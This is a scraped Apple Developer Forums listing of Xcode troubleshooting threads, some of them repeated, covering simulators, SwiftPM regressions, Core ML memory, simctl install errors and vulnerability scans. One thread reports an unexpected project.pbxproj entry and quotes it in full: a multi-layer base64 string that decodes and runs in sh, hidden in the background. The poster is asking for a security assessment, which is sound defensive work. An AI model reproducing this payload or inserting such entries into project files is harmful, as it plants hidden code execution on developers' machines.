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Resolving a "Simulator runtime is not available" error
Some Macs recently received a macOS system update which disabled the simulator runtimes used by Xcode 15, including the simulators for iOS, tvOS, watchOS, and visionOS. If your Mac received this update, you will receive the following error message and will be unable to use the simulator: The com.apple.CoreSimulator.SimRuntime.iOS-17-2 simulator runtime is not available. Domain: com.apple.CoreSimulator.SimError Code: 401 Failure Reason: runtime profile not found using "System" match policy Recovery Suggestion: Download the com.apple.CoreSimulator.SimRuntime.iOS-17-2 simulator runtime from the Xcode To resume using the simulator, please reboot your Mac. After rebooting, check Xcode Preferences → Platforms to ensure that the simulator runtime you would like to use is still installed. If it is missing, use the Get button to download it again. The Xcode 15.3 Release Notes are also updated with this information.
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May ’24
Apple watch series 9 (OS 10.3) not showing up in xcode 15.1 under devices list.
When connecting my iphone (14pro with iOS 17.2.1) with a paired apple watch (series 9 with OS 10.3), it is not showing up on the devices/simulators list in xcode 15.1. Beyond unpairing/repairing the watch, restarting either iphone or watch, connecting/disconnecting the iphone from the computer or deleting xcode and re-installing xcode, any other suggestions? Under the WatchApp field it shows "no eligible device connected", however, under the console the Apple Watch does appear. I have tried just about everything and can't get the watch to appear in Xcode. I am running all this on a MacBook Pro with Sonoma. Thanks for any assistance!
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Command Line Tools bundled Python 3.9.6 flagged by vulnerability scanner
We need guidance regarding the Python runtime bundled with Apple Command Line Tools. Environment: macOS Tahoe 26.5.2 (25F84) Xcode 26.6 (17F113) Device type: Mac Command Line Tools Python path: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/ Version confirmed locally with: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/bin/python3 --version Output: Python 3.9.6 Our vulnerability-management platform, Qualys, reports this Apple Command Line Tools Python runtime as vulnerable under QID 387170, referencing CVE-2022-4303 and CVE-2023-0286. The detection points to: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/Resources/Python.app My understanding is that this runtime is bundled and managed by Apple as part of Command Line Tools, and that manually replacing or modifying this framework is not a supported remediation path. Installing a separate standalone Python version also does not remediate the finding at this Apple-managed path. Could Apple or the community confirm the supported approach for this scenario? Specifically: Is Python 3.9.6 intentionally bundled with the current Command Line Tools release for this macOS/Xcode version? Has Apple applied security fixes or backports to this bundled Python runtime that are not reflected in the upstream Python version number? Is updating Command Line Tools/Xcode the only supported remediation method for this component? Is manually replacing or modifying the bundled Python framework unsupported? Is there any known mitigation or official guidance for vulnerability-management exceptions while waiting for an Apple-provided update? I have also filed this through Feedback Assistant: FB23893693. Any official Apple guidance or reference to existing documentation would be very helpful, as we need to provide an auditable response to our internal security and audit teams.
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Core ML memory usage is dramatically higher with an Xcode 27 build on iOS 27
I’m seeing a major change in reported memory usage (and eventual termination due to memory pressure) when running a Core ML workload built with Xcode 27 on iOS/iPadOS 27. The source code, model files, and MLModelConfiguration are unchanged. Only the Xcode/SDK version used to build the app differs. On the same iPad running iPadOS 27: Xcode 26 build: model loading and prediction complete normally, with a relatively small reported application footprint. Xcode 27 build: the application footprint grows continuously as models are loaded and can exceed 5 GB. The app is eventually terminated unless models are unloaded very aggressively or the increased-memory-limit entitlement is used. I also tested an Xcode 27 build on a device running iOS 26. Its reported peak was only around 300 MB. This suggests the change requires both an Xcode 27-linked binary and the iOS 27 runtime. The workload consists of several compiled Core ML models using .cpuAndNeuralEngine. Loading models sequentially instead of concurrently does not materially change the final footprint. Releasing each MLModel after use does reduce it, so this appears to be model or Neural Engine residency being charged to the application rather than a conventional heap leak. I noticed that the iOS 27 release notes mention Neural Engine memory now being attributed to the application instead of the system. However, I’m unclear about the practical consequences of that change. If the same Neural Engine resources were already physically resident on iOS 26, I would have expected them to contribute to system memory pressure even when they were not attributed directly to the application. Instead, the older configuration runs comfortably, while the Xcode 27/iOS 27 combination approaches or crosses the application’s per-process memory limit. A few additional observations: The problem is more likely to occur after Core ML has already compiled and specialized the models. Cached model loading is much faster and the footprint grows quickly. The first uncached run can survive model preparation because specialization spaces the loads farther apart. Under Instruments, the app often does not terminate, presumably because profiling slows the workload enough to change the peak. os_proc_available_memory() decreases in line with the newly reported footprint. With the increased-memory-limit entitlement, the workload completes, but the reported footprint still reaches several gigabytes. Has anyone else observed a large Core ML memory increase specifically with an Xcode 27 build running on iOS 27? In particular, I’m trying to understand: Is this purely a change in how existing Neural Engine memory is accounted for, or does the new runtime also retain or allocate more memory? Is the new accounting used for the application’s jetsam/per-process memory limit? Is this behavior intentionally gated by the linked SDK version? That would explain why an Xcode 26 build behaves differently on the same iOS 27 device. Should applications now treat the Neural Engine residency of every loaded MLModel as part of their process-memory budget and unload models accordingly? Are there recommended APIs or Core ML loading strategies for controlling this residency? Any confirmation that others are seeing the same Xcode 27/iOS 27 behavior—or clarification of the intended memory-accounting model—would be very helpful.
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macOS Archive builds and environment variables
Hi All - I'm a bit confused about setting environment variables in Mac Terminal when testing archive builds. In Terminal, if I do something like export DYLD_PRINT_LIBRARIES=1, it works great for Debug builds. When I open my Debug binary, I can see all the dylibs and Frameworks getting loaded. However, my Archive build doesn't show me anything when I try opening it from Terminal. I did some Googling and I guess SIP may be doing something to prevent environment vars from affecting Archive builds. This made sense to me until I tried creating a simple Test app. If I Archive my Test app and open the binary in Terminal, I see all the dylibs and frameworks. So why would an Archive build for a simple test project work with DYLD_PRINT_LIBRARIES, but my production app's Archive build won't? Related question: I've run into a situation where I may have to set LSEnvironment in my app's Info.plist to work around a problem in 10.15 Catalina and 11 Big Sur. Setting LSEnvironment works great in my Debug and Release builds. But just like using setting DYLD_PRINT_LIBRARIES in Terminal, my Archive build ignores the LSEnvironment settings. So... is there a way to create an Archive build that doesn't ignore Environment Variables in Terminal, or LSEnviroment in Info.plist? Hoping that there's a simple Build Setting that I can enable or disable in my Target to do this. Thanks.
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Xcode 27 incorrectly links a Catalyst binary, _UIFontTextStyleCallout Expected in AppKit
I have a personal iOS project that I also compile for macOS with Catalyst. When built with Xcode 26.x, everything is linked correctly. When built with Xcode 27 betas, the following runtime error occurs: Termination Reason: Namespace DYLD, Code 4, Symbol missing Symbol not found: _UIFontTextStyleCallout Referenced from: <046ED276-F81A-31B4-82FF-6DC82E9041BC> /Applications/Photo Library.app/Contents/MacOS/Photo Library Expected in: <298B64F6-9BC0-3BFB-BE72-EBDC2BE0FF19> /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit Any assistance? Thanks
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Xcode 27 Beta 4 regression: "Multiple commands produce" error when a SwiftPM binary xcframework product is linked from both an app target and an embedded framework target
In Xcode 27 Beta 4 (27A5228h), building a project that has a SwiftPM binary target (xcframework) linked directly from both an app target AND a framework target that is embedded in that app fails with "Multiple commands produce" errors. The same project and pbxproj builds successfully in Xcode 27 Beta 3 (27A5218g), so this is a regression introduced in Beta 4. Steps to Reproduce Create a new iOS App project. Add a Framework target (e.g. "SampleCommon") and embed it into the app. Add a SwiftPM dependency for a package that vends a binary xcframework product. Confirmed with airbnb/lottie-spm 4.6.1 (https://github.com/airbnb/lottie-spm). In "Frameworks, Libraries, and Embedded Content" of the app target, add the SwiftPM product (Lottie) with "Embed & Sign". In "Frameworks and Libraries" of the framework target, add the same SwiftPM product (Lottie). Build the app scheme for iOS Simulator. Expected result Build succeeds. The xcframework is embedded exactly once into the .app bundle. This is the behavior in Xcode 27 Beta 3 and Xcode 26. Actual result Build fails with: error: Unexpected duplicate tasks error: Multiple commands produce '.../<App>.app/Frameworks/Lottie.framework/Lottie' error: Multiple commands produce '.../<App>.app/Frameworks/Lottie.framework' Two Copy tasks are emitted for the same output path in the app target: Copy from Build/Products/Debug-iphonesimulator/PackageFrameworks/Lottie.framework Copy from SourcePackages/artifacts/lottie-spm/Lottie/Lottie.xcframework/ios-arm64_x86_64-simulator/Lottie.framework Additionally, an auto-generated target named "Lottiedynamic-product" emits duplicate MkDir / ProcessInfoPlistFile tasks for PackageFrameworks/Lottie.framework, which suggests the packaging path for binary xcframework products has been duplicated in Beta 4. Regression Xcode 27 Beta 3 (27A5218g): builds successfully Xcode 27 Beta 4 (27A5228h): fails with the above errors Xcode 26.x: builds successfully Minimal reproduction The issue reproduces on a 2-target Xcode project (app + framework) with airbnb/lottie-spm added and linked from both targetstory captures the smallest triggering diff: pattern1: app links Lottie only -> BUILD SUCCEEDED pattern2: framework links Lottie only -> BUILD SUCCEEDED pattern3: both app and framework link Lottie -> BUILD FAILED (only on Beta 4) Only the framework target's packageProductDependencies and Frameworks build phase entries differ between the succeeding and failing states. Workaround Link the SwiftPM binary product from only one target (either the app or the framework, not both). If only the framework tarl gets the framework transitively at runtime. Impact Any project that uses a SwiftPM binary xcframework and organizes code across multiple linked targets (a very common pattern for larger apps) is blocked from adopting Xcode 27 Beta 4. Environment Xcode 27.0 Beta 4 (27A5228h) macOS 26.5.2 Package: airbnb/lottie-spm 4.6.1 Destination: iOS Simulator (iPhone 17, latest)
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SimCtl
Summary xcrun simctl install <valid.app> fails even though the app's Info.plist contains a correct, well-formed CFBundleIdentifier — verified independently with plutil -p. The app builds successfully via xcodebuild twice, under two different signing configurations. This is purely an install-time failure. ERROR · EVERY ATTEMPT An error was encountered processing the command (domain=IXErrorDomain, code=13): Simulator device failed to install the application. Missing bundle ID. Underlying error (domain=IXErrorDomain, code=13): Failed to get bundle ID from /QuestionsWeCarry.app Missing bundle ID. Environment MACOS 26.5.2 · Build 25F84 XCODE 26.6 · Build 17F113 SIMULATOR RUNTIME iOS 26.5 (23F77) HARDWARE Apple M5 KERNEL Darwin 25.5.0 arm64 XCODE.APP / SIMULATOR PLATFORM both freshly installed Xcode.app and the iOS Simulator platform were both freshly installed immediately before this was discovered — this may be a first-run / first-boot issue specific to this Xcode 26.6 + iOS 26.5 combination. Project being built A SwiftUI iOS app target generated via XcodeGen from project.yml, depending on a local Swift Package with four library products. Nothing exotic — no third-party SDKs, no CocoaPods, no entitlements file. PROJECT.YML — RELEVANT TARGET BLOCK PROJECT.YML targets: QuestionsWeCarry: type: application platform: iOS deploymentTarget: "17.0" sources: - path: App/Sources - path: App/Resources type: folder buildPhase: resources info: path: App/Info.plist properties: CFBundleDisplayName: "Questions We Carry" UILaunchScreen: {} ITSAppUsesNonExemptEncryption: false UIApplicationSceneManifest: UIApplicationSupportsMultipleScenes: false settings: base: PRODUCT_BUNDLE_IDENTIFIER: com.brodywolfstudio.questionswecarry MARKETING_VERSION: "1.0.0" CURRENT_PROJECT_VERSION: "1" SWIFT_VERSION: "5.10" TARGETED_DEVICE_FAMILY: "1,2" CODE_SIGN_STYLE: Manual CODE_SIGN_IDENTITY: "-" CODE_SIGNING_REQUIRED: NO CODE_SIGNING_ALLOWED: YES dependencies: - package: QWCKit product: QWCCore - package: QWCKit product: QWCEngine - package: QWCKit product: QWCStore - package: QWCKit product: QWCUI BUILD COMMAND THAT SUCCEEDS SHELL xcodebuild -project QuestionsWeCarry.xcodeproj -scheme QuestionsWeCarry -configuration Debug -destination "platform=iOS Simulator,id=" -derivedDataPath DerivedData build Result: BUILD SUCCEEDED, produces DerivedData/Build/Products/Debug-iphonesimulator/QuestionsWeCarry.app. INFO.PLIST INSIDE THE BUILT .APP (VIA PLUTIL -P) INFO.PLIST { "BuildMachineOSBuild" => "25F84" "CFBundleDevelopmentRegion" => "en" "CFBundleDisplayName" => "Questions We Carry" "CFBundleExecutable" => "QuestionsWeCarry" "CFBundleIdentifier" => "com.brodywolfstudio.questionswecarry" "CFBundleInfoDictionaryVersion" => "6.0" "CFBundleName" => "QuestionsWeCarry" "CFBundlePackageType" => "APPL" "CFBundleShortVersionString" => "1.0" "CFBundleSupportedPlatforms" => [ 0 => "iPhoneSimulator" ] "CFBundleVersion" => "1" "DTCompiler" => "com.apple.compilers.llvm.clang.1_0" "DTPlatformBuild" => "23F81a" "DTPlatformName" => "iphonesimulator" "DTPlatformVersion" => "26.5" "DTSDKBuild" => "23F81a" "DTSDKName" => "iphonesimulator26.5" "DTXcode" => "2660" "DTXcodeBuild" => "17F113" "ITSAppUsesNonExemptEncryption" => false "MinimumOSVersion" => "17.0" "UIApplicationSceneManifest" => { "UIApplicationSupportsMultipleScenes" => false } "UIDeviceFamily" => [ 0 => 1 1 => 2 ] "UILaunchScreen" => { } } CFBundleIdentifier is present, correctly formed, and matches PRODUCT_BUNDLE_IDENTIFIER. file confirms this is a valid Apple binary property list, not corrupted. CODESIGN -DV ON THE BUILT APP CODESIGN -DV Executable=/QuestionsWeCarry.app/QuestionsWeCarry Identifier=QuestionsWeCarry-******* Format=bundle with Mach-O thin (arm64) CodeDirectory v=20400 size=338 flags=0x2(adhoc) hashes=3+3 location=embedded Signature=adhoc Info.plist=not bound TeamIdentifier=not set Sealed Resources version=2 rules=13 files=4 Internal requirements count=0 size=12 Note Info.plist=not bound — unclear whether this is expected for an ad-hoc-signed bundle app (as opposed to a framework), or is itself a symptom of the underlying problem. Reproduction Minimal, reproducible with the plain command-line tool — no Claude tooling involved in this step: SHELL xcrun simctl install "iPhone 17 Pro" "/DerivedData/Build/Products/Debug-iphonesimulator/QuestionsWeCarry.app" Result (100% reproducible, every attempt): STDERR An error was encountered processing the command (domain=IXErrorDomain, code=13): Simulator device failed to install the application. Missing bundle ID. Underlying error (domain=IXErrorDomain, code=13): Failed to get bundle ID from /QuestionsWeCarry.app Missing bundle ID. Also reproduced with xcrun simctl launch, which fails as a consequence: Isolation steps taken All of the following were tried, and none changed the outcome — the exact same "Missing bundle ID" error occurs every time: 01 Two signing configurations — unsigned/linker-signed (Sealed Resources=none) vs. proper ad-hoc sign (Sealed Resources version=2 rules=13 files=4), plus a manual codesign --force --deep --sign - re-sign pass. Same failure every time. 02 Two simulator destinations — generic/platform=iOS Simulator and a concrete device id for iPhone 17 Pro. 03 Two never-before-used simulator devices — iPhone 17 Pro and iPhone Air — ruling out per-device CoreSimulator state corruption. 04 Erase + cold boot — simctl shutdown, erase, boot immediately before a fresh install attempt. 05 Real Simulator.app GUI running — not just a headless simctl boot — ruled out a CoreSimulatorService/GUI dependency. 06 Path with no spaces — copied the .app out of a path containing "Application Support" — ruled out a path-quoting issue. The build itself is never in question — xcodebuild reports BUILD SUCCEEDED every time; only the subsequent simctl install step fails. What I'd like feedback on Is this a known issue with this specific Xcode 26.6 / iOS 26.5 Simulator runtime combination — both very recently installed, so possibly a fresh-install/first-boot bug? Is there a required build setting for this Xcode version not yet reflected in commonly-documented XcodeGen/xcodebuild recipes — e.g. an entitlements file now required even for simulator-only, no-team builds, or a different expected code-signing identity/format? Is Info.plist=not bound in the codesign -dv output actually abnormal for an app bundle (as opposed to a framework), and could that be the root cause simctl is choking on?
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Getting Gemini 3.5 or 3.6 Flash to work with Xcode 27 Beta
I've been trying for months to get Gemini 3.5 Flash to work with Xcode 27 Beta (1-3) agentic coding but have failed. Xcode currently uses Gemini CLI v0.42.0 from last year, so it can't call Gemini 3.5 Flash even though all that needs to change is a few characters in the API call. Gemini users are currently forced to choose between 3.1 Pro and 3.1 Flash Preview--both weren't the best choices two months ago, but with the release of 3.6 Flash which is better at coding that 3.1 Pro and miles cheaper, these choices are now unsuitable for any serious workload. I live in Hong Kong, where OpenAI and Anthropic services aren't offered, so Google is the only (native) AI provider for Xcode agentic coding. The cost issue from funneling all the work into 3.1 Pro is terrible especially with some agent bugs that have yet to be ironed out. Given Apple's close partnership with Google on AI, I'm genuinely surprised that after 4 Betas we're still using a Gemini CLI from 2025 that forces users to choose between two very unappealing models. Xcode is basically forcing Google users to switch to OpenAI/Anthropic. Questions: I'd like to know if this will be fixed soon and whether Google users should expect slower updates (i.e. be forced to use older models). Does anyone know of any workarounds?
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Connection issue between Apple Watch and Xcode
I'm developing an app for Apple Watch, but I can't connect the Apple Watch to Xcode when I try to run the app on the actual device. I get the following errors: A networking error occurred The device rejected the connection request and A connection to this device could not be established. Timed out while attempting to establish tunnel using negotiated network parameters. The iPhone connects to Xcode without any problem. I've already tried several things without success: Resetting the "trusted computers" settings and trusting the Mac again Restarting all of the devices Making sure all devices are on the same Wi-Fi network On the iPhone, I can see the Developer Mode toggle in Settings, but on the Apple Watch there doesn't seem to be a Developer Mode toggle at all. I'm wondering whether enabling Developer Mode is required in my case. Could anyone tell me how to enable Developer Mode on Apple Watch, or suggest any other way to resolve this issue? Here is my environment: Mac mini (M1, 2020), macOS Tahoe 26.4.1 Xcode 26.4.1 Apple Watch SE 3, watchOS 26.1 iPhone 13, iOS 26.5 Thanks in advance for any help.
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Xcode 27 beta: "Missing package product" for a Swift Package in a registry
I have a project that builds fine in macOS 26 with Xcode 26. On macOS 27 b4 and Xcode beta, the same project can't build because of a framework that should be pulled from a Swift Package from a package-registry (named Registry, for example below), hosted on JFrog. I have the registry set up and have the token in keychain. The resolution of the packages works. But when I build, I get error like this: error: Missing package product 'Registry.Package_Package.Package' (in target 'Target' from project 'Project') . The real package should just be 'Registry.Package'. Any help with that? Is it a bug?
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Minimum allowed IPHONEOS_DEPLOYMENT_TARGET for the AppStore
Hello, I am building a developer tool and for that I need to figure out which min deployment targets users technically may still specify in their Xcode projects. This page https://developer.apple.com/support/xcode indirectly says that both Xcode 26 and Xcode 27 allow setting IPHONEOS_DEPLOYMENT_TARGET only to iOS 15.0 and newer. Also https://developer.apple.com/news/upcoming-requirements/ now says that starting April 28 2026, the apps must be built with iOS SDK 26+, meaning only Xcode 26 and newer may be used for building the apps that go to the AppStore. However in fact in Xcode 26 I can specify older iOS deployment targets, as low as iOS 12. This post here https://developer.apple.com/forums/thread/805506?answerId=863871022#863871022 confirms that in fact it is possible to even submit the app to the AppStore with IPHONEOS_DEPLOYMENT_TARGET 12.0 There's also this post https://developer.apple.com/forums/thread/821370?answerId=882853022#882853022 that indirectly confirms that Apple still allows iOS 12.0 deployment target. Since Xcode 26 is still allowed to build apps for the AppStore even after Xcode 27.0 release, does that mean the developers may technically be able to keep specifying iOS 12, iOS 13, iOS 14 as deployment target when submitting their apps to the AppStore without having their apps rejected?
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Coding Assistant autocomplete breaks with many Swift packages
I’m seeing a reproducible issue in both Xcode 26 and Xcode 27 where Coding Assistant appears to stop autocompleting when a project contains a larger number of Swift Package dependencies. Symptoms: Autocomplete suggestions from Coding Assistant stop appearing. File targeting with @ stops working. The issue typically appears shortly after opening the project If I start a brand-new chat immediately after opening the project, Coding Assistant sometimes works briefly before failing Reducing or removing Swift Package dependencies fixes the issue I’ve created a sample project that reproduces the problem and have also filed Feedback Assistant report: FB23341243 The issue seems related to package count or project complexity rather than any specific package, although I haven’t yet identified the exact threshold that triggers it. Has anyone else run into this or has anyone found a workaround?
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OS debug logs not visible in console when macOS is closed
Overview When the macOS app is closed, the os logs (debug) logs are not visible in the Console app. However even when the iOS app is closed / killed, the os logs (debug) logs are visible in the Console app. What I have tried Console app menu Action > Include Debug Messages is checked Searched by subsystem Created a macOS app from the archive by choosing selecting Debugging option Note OS debug logs are visible when the macOS app is open Questions How can I make macOS debug logs visible in the Console app when the Mac app is closed? Should I be searching by some other fields? Or is there any other alternative / workaround this because I need to debug this scenario when app is closed?
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Parallel swift testing on multiple ios simulators
Due to massive amount of shared state in my project I cannot really use swift testing parallelization in my tests, so my idea was to embed all suites into single one with .serialized and then run them on several simulators to speed up the tests. I ran tests with xcodebuild ... -parallel-testing-enabled YES -parallel-testing-worker-count 2, but swift testing suites seemed to be executed on just one simulator. Is it possible to run swift testing tests in parallel on multiple iOS simulators, but serially within each of them? Or the only way is xctest?
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I would like to know if anyone else is experiencing the same issue.
Our company enrolled in the Apple Developer Program as an Organization. Apple successfully created our D-U-N-S Number, but our enrollment has remained "Being Processed" for an extended period. I have contacted Apple Developer Support three times regarding this issue. Each time, I received only the automated acknowledgment email, and the same Case ID was referenced every time. However, I have never received any response from a support representative. At this point, our company is completely blocked from publishing our iOS application. Has anyone experienced the same issue recently? If so, how was it resolved? If an Apple Developer Support representative sees this post, I would sincerely appreciate it if you could review my case or advise on the next steps. Thank you.
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UIDesignRequiresCompatibility support clarification.
Hello, Could someone from Apple clarify the support and behavior of the UIDesignRequiresCompatibility property? The UIDesignRequiresCompatibility documentation states that this property will be ignored for builds targeting iOS 27 or later. I have a couple of questions: Does "builds targeting iOS 27 or later" refer to an app that was built using Xcode 27 or later? iOS 27 is expected to be released in Fall 2026. Suppose that after iOS 27 is released, I create a new build using Xcode 26, with UIDesignRequiresCompatibility set to true, and install that build on an iOS 27 device. Will UIDesignRequiresCompatibility still be honored in this scenario, or will it be ignored and the app will use the Liquid Glass UI? Thanks!
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Unexpected entry being added to my project's project.pbxproj file by Xcode
I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode: AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)"; This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding. Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file? For context: The entry appears automatically in the project file. We are concerned because it resembles an obfuscated shell script that executes commands during the build process. We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised. If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them. Thank you for your assistance.
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Xcode build keeps crashing
Hi, I just modified my build setup. Now, Xcode project build crashes. From command line everything seems fine. xcodebuild ** BUILD SUCCEEDED ** Here is the stack-trace of crash-report showed: Thread 5 Crashed:: Dispatch queue: com.apple.root.default-qos.cooperative 0 SWBCore 0x10161da08 ClangCompilerSpec.constructTasks(_:_:) + 8636 1 SWBTaskConstruction 0x10119cee5 FilesBasedBuildPhaseTaskProducerBase.constructTasksForRule(_:_:_:) + 1 2 SWBTaskConstruction 0x1012202cd SourcesTaskProducer.constructTasksForRule(_:_:_:_:_:) + 1 3 SWBTaskConstruction 0x1011a11b9 closure #1 in FilesBasedBuildPhaseTaskProducerBase.addTasksForRule<A>(groupContext:_:_:_:_:_:_:) + 1 4 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 5 SWBTaskConstruction 0x1011547a1 <deduplicated_symbol> + 1 6 SWBTaskConstruction 0x1011da831 <deduplicated_symbol> + 1 7 SWBTaskConstruction 0x1011d53b1 specialized FilesBasedBuildPhaseTaskProducerBase.addTasksForGroup<A>(_:_:_:_:_:_:) + 1 8 SWBTaskConstruction 0x1011c7f8d specialized FilesBasedBuildPhaseTaskProducerBase.groupAndAddTasksForFiles<A>(_:_:_:filterToAPIRules:filterToHeaderRules:_:extraResolvedBuildFiles:) + 1 9 SWBTaskConstruction 0x1011e655d SourcesTaskProducer.generateTasks() + 1 10 SWBTaskConstruction 0x10114d725 <deduplicated_symbol> + 1 11 SWBTaskConstruction 0x1011532cd closure #2 in closure #4 in BuildPlan.init(planRequest:taskPlanningDelegate:) + 1 12 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 13 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 14 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 15 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 16 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 17 SWBUtil 0x100ec3271 <deduplicated_symbol> + 1 18 SWBUtil 0x100e3554d <deduplicated_symbol> + 1 19 libswift_Concurrency.dylib 0x287e40ec5 completeTaskWithClosure(swift::AsyncContext*, swift::SwiftError*) + 1 regards , Joël
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Resolving a "Simulator runtime is not available" error
Some Macs recently received a macOS system update which disabled the simulator runtimes used by Xcode 15, including the simulators for iOS, tvOS, watchOS, and visionOS. If your Mac received this update, you will receive the following error message and will be unable to use the simulator: The com.apple.CoreSimulator.SimRuntime.iOS-17-2 simulator runtime is not available. Domain: com.apple.CoreSimulator.SimError Code: 401 Failure Reason: runtime profile not found using "System" match policy Recovery Suggestion: Download the com.apple.CoreSimulator.SimRuntime.iOS-17-2 simulator runtime from the Xcode To resume using the simulator, please reboot your Mac. After rebooting, check Xcode Preferences → Platforms to ensure that the simulator runtime you would like to use is still installed. If it is missing, use the Get button to download it again. The Xcode 15.3 Release Notes are also updated with this information.
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May ’24
Xcode IOS development
Super noob here 😅 is there a way to work with the “Xcode” development app on IOS. Any advice or input is welcome.
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28
Activity
5h
Apple watch series 9 (OS 10.3) not showing up in xcode 15.1 under devices list.
When connecting my iphone (14pro with iOS 17.2.1) with a paired apple watch (series 9 with OS 10.3), it is not showing up on the devices/simulators list in xcode 15.1. Beyond unpairing/repairing the watch, restarting either iphone or watch, connecting/disconnecting the iphone from the computer or deleting xcode and re-installing xcode, any other suggestions? Under the WatchApp field it shows "no eligible device connected", however, under the console the Apple Watch does appear. I have tried just about everything and can't get the watch to appear in Xcode. I am running all this on a MacBook Pro with Sonoma. Thanks for any assistance!
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Activity
9h
Command Line Tools bundled Python 3.9.6 flagged by vulnerability scanner
We need guidance regarding the Python runtime bundled with Apple Command Line Tools. Environment: macOS Tahoe 26.5.2 (25F84) Xcode 26.6 (17F113) Device type: Mac Command Line Tools Python path: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/ Version confirmed locally with: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/bin/python3 --version Output: Python 3.9.6 Our vulnerability-management platform, Qualys, reports this Apple Command Line Tools Python runtime as vulnerable under QID 387170, referencing CVE-2022-4303 and CVE-2023-0286. The detection points to: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/Resources/Python.app My understanding is that this runtime is bundled and managed by Apple as part of Command Line Tools, and that manually replacing or modifying this framework is not a supported remediation path. Installing a separate standalone Python version also does not remediate the finding at this Apple-managed path. Could Apple or the community confirm the supported approach for this scenario? Specifically: Is Python 3.9.6 intentionally bundled with the current Command Line Tools release for this macOS/Xcode version? Has Apple applied security fixes or backports to this bundled Python runtime that are not reflected in the upstream Python version number? Is updating Command Line Tools/Xcode the only supported remediation method for this component? Is manually replacing or modifying the bundled Python framework unsupported? Is there any known mitigation or official guidance for vulnerability-management exceptions while waiting for an Apple-provided update? I have also filed this through Feedback Assistant: FB23893693. Any official Apple guidance or reference to existing documentation would be very helpful, as we need to provide an auditable response to our internal security and audit teams.
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138
Activity
11h
Core ML memory usage is dramatically higher with an Xcode 27 build on iOS 27
I’m seeing a major change in reported memory usage (and eventual termination due to memory pressure) when running a Core ML workload built with Xcode 27 on iOS/iPadOS 27. The source code, model files, and MLModelConfiguration are unchanged. Only the Xcode/SDK version used to build the app differs. On the same iPad running iPadOS 27: Xcode 26 build: model loading and prediction complete normally, with a relatively small reported application footprint. Xcode 27 build: the application footprint grows continuously as models are loaded and can exceed 5 GB. The app is eventually terminated unless models are unloaded very aggressively or the increased-memory-limit entitlement is used. I also tested an Xcode 27 build on a device running iOS 26. Its reported peak was only around 300 MB. This suggests the change requires both an Xcode 27-linked binary and the iOS 27 runtime. The workload consists of several compiled Core ML models using .cpuAndNeuralEngine. Loading models sequentially instead of concurrently does not materially change the final footprint. Releasing each MLModel after use does reduce it, so this appears to be model or Neural Engine residency being charged to the application rather than a conventional heap leak. I noticed that the iOS 27 release notes mention Neural Engine memory now being attributed to the application instead of the system. However, I’m unclear about the practical consequences of that change. If the same Neural Engine resources were already physically resident on iOS 26, I would have expected them to contribute to system memory pressure even when they were not attributed directly to the application. Instead, the older configuration runs comfortably, while the Xcode 27/iOS 27 combination approaches or crosses the application’s per-process memory limit. A few additional observations: The problem is more likely to occur after Core ML has already compiled and specialized the models. Cached model loading is much faster and the footprint grows quickly. The first uncached run can survive model preparation because specialization spaces the loads farther apart. Under Instruments, the app often does not terminate, presumably because profiling slows the workload enough to change the peak. os_proc_available_memory() decreases in line with the newly reported footprint. With the increased-memory-limit entitlement, the workload completes, but the reported footprint still reaches several gigabytes. Has anyone else observed a large Core ML memory increase specifically with an Xcode 27 build running on iOS 27? In particular, I’m trying to understand: Is this purely a change in how existing Neural Engine memory is accounted for, or does the new runtime also retain or allocate more memory? Is the new accounting used for the application’s jetsam/per-process memory limit? Is this behavior intentionally gated by the linked SDK version? That would explain why an Xcode 26 build behaves differently on the same iOS 27 device. Should applications now treat the Neural Engine residency of every loaded MLModel as part of their process-memory budget and unload models accordingly? Are there recommended APIs or Core ML loading strategies for controlling this residency? Any confirmation that others are seeing the same Xcode 27/iOS 27 behavior—or clarification of the intended memory-accounting model—would be very helpful.
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18
Activity
12h
macOS Archive builds and environment variables
